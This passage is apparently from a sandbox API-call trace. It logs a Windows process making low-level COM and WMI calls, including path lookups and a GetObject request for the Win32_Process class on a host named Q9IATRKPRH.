riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e04b0) returned 0x0 [0063.149] WbemLocator:IRpcOptions:Query (in: This=0x11e04b0, pPrx=0x1bf11740, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0063.149] WbemLocator:IUnknown:Release (This=0x11e04b0) returned 0x2 [0063.150] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0063.150] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0063.150] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01c20, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf01c20) returned 0x0 [0063.150] WbemLocator:IUnknown:Release (This=0x1bf01c20) returned 0x2 [0063.150] SysStringLen (param_1=0x0) returned 0x0 [0063.150] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0063.150] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0063.150] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.150] WbemDefPath:IWbemPath:GetText (in: This=0x119b720, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0063.150] WbemDefPath:IWbemPath:GetText (in: This=0x119b720, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0063.150] IWbemServices:GetObject (in: This=0x1bf01c20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef5860, ppCallResult=0x0) returned 0x0 [0063.153] IWbemClassObject:Get (in: This=0x1bef5860, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0063.153] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0063.153] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0063.153] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0063.153] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0063.153] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0063.153] IUnknown:Release (This=0x111f638) returned 0x1 [0063.155] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf116c0) returned 0x0 [0063.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf116c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0063.155] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf116c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119bae0) returned 0x0 [0063.155] WbemDefPath:IUnknown:Release (This=0x1bf116c0) returned 0x0 [0063.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119bae0) returned 0x0 [0063.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0063.156] WbemDefPath:IUnknown:AddRef (This=0x119bae0) returned 0x3 [0063.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0063.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0063.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf116e0) returned 0x0 [0063.156] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf116e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.156] WbemDefPath:IUnknown:Release (This=0x1bf116e0) returned 0x3 [0063.156] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0063.156] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0063.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0063.156] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x2 [0063.156] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x1 [0063.156] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0063.156] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0063.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bae0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119bae0) returned 0x0 [0063.156] WbemDefPath:IUnknown:AddRef (This=0x119bae0) returned 0x3 [0063.156] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x2 [0063.156] WbemDefPath:IWbemPath:SetText (This=0x119bae0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0063.156] IWbemClassObject:Get (in: This=0x1bef5860, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0063.157] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0063.157] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0063.157] IWbemClassObject:Get (in: This=0x1bef5860, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0063.157] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0063.157] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0063.157] IWbemClassObject:Get (in: This=0x1bef5860, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0063.157] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0063.157] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0063.158] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.158] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.158] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.158] IUnknown:Release (This=0x111f638) returned 0x1 [0063.160] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf118a0) returned 0x0 [0063.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf118a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.160] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf118a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bba0) returned 0x0 [0063.160] WbemDefPath:IUnknown:Release (This=0x1bf118a0) returned 0x0 [0063.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bba0) returned 0x0 [0063.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.160] WbemDefPath:IUnknown:AddRef (This=0x119bba0) returned 0x3 [0063.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf118e0) returned 0x0 [0063.160] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf118e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.160] WbemDefPath:IUnknown:Release (This=0x1bf118e0) returned 0x3 [0063.161] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.161] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.161] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x2 [0063.161] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x1 [0063.161] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.161] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bba0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bba0) returned 0x0 [0063.161] WbemDefPath:IUnknown:AddRef (This=0x119bba0) returned 0x3 [0063.161] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x2 [0063.161] WbemDefPath:IWbemPath:SetText (This=0x119bba0, uMode=0x4, pszPath="") returned 0x0 [0063.161] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.161] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.161] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.161] IUnknown:Release (This=0x111f638) returned 0x1 [0063.163] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf118a0) returned 0x0 [0063.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf118a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.163] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf118a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bc60) returned 0x0 [0063.163] WbemDefPath:IUnknown:Release (This=0x1bf118a0) returned 0x0 [0063.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bc60) returned 0x0 [0063.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.163] WbemDefPath:IUnknown:AddRef (This=0x119bc60) returned 0x3 [0063.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf11920) returned 0x0 [0063.164] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.164] WbemDefPath:IUnknown:Release (This=0x1bf11920) returned 0x3 [0063.164] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.164] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.164] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x2 [0063.164] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x1 [0063.164] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.164] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bc60) returned 0x0 [0063.164] WbemDefPath:IUnknown:AddRef (This=0x119bc60) returned 0x3 [0063.164] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x2 [0063.164] WbemDefPath:IWbemPath:SetText (This=0x119bc60, uMode=0x4, pszPath="") returned 0x0 [0063.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bba0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.164] WbemDefPath:IWbemPath:GetClassName (in: This=0x119bc60, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0063.164] WbemDefPath:IWbemPath:GetServer (in: This=0x119bc60, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0063.164] WbemDefPath:IWbemPath:SetServer (This=0x119bc60, Name="Q9IATRKPRH") returned 0x0 [0063.164] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.165] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.165] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.165] IUnknown:Release (This=0x111f638) returned 0x1 [0063.166] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11940) returned 0x0 [0063.166] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11940, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.166] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11940, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 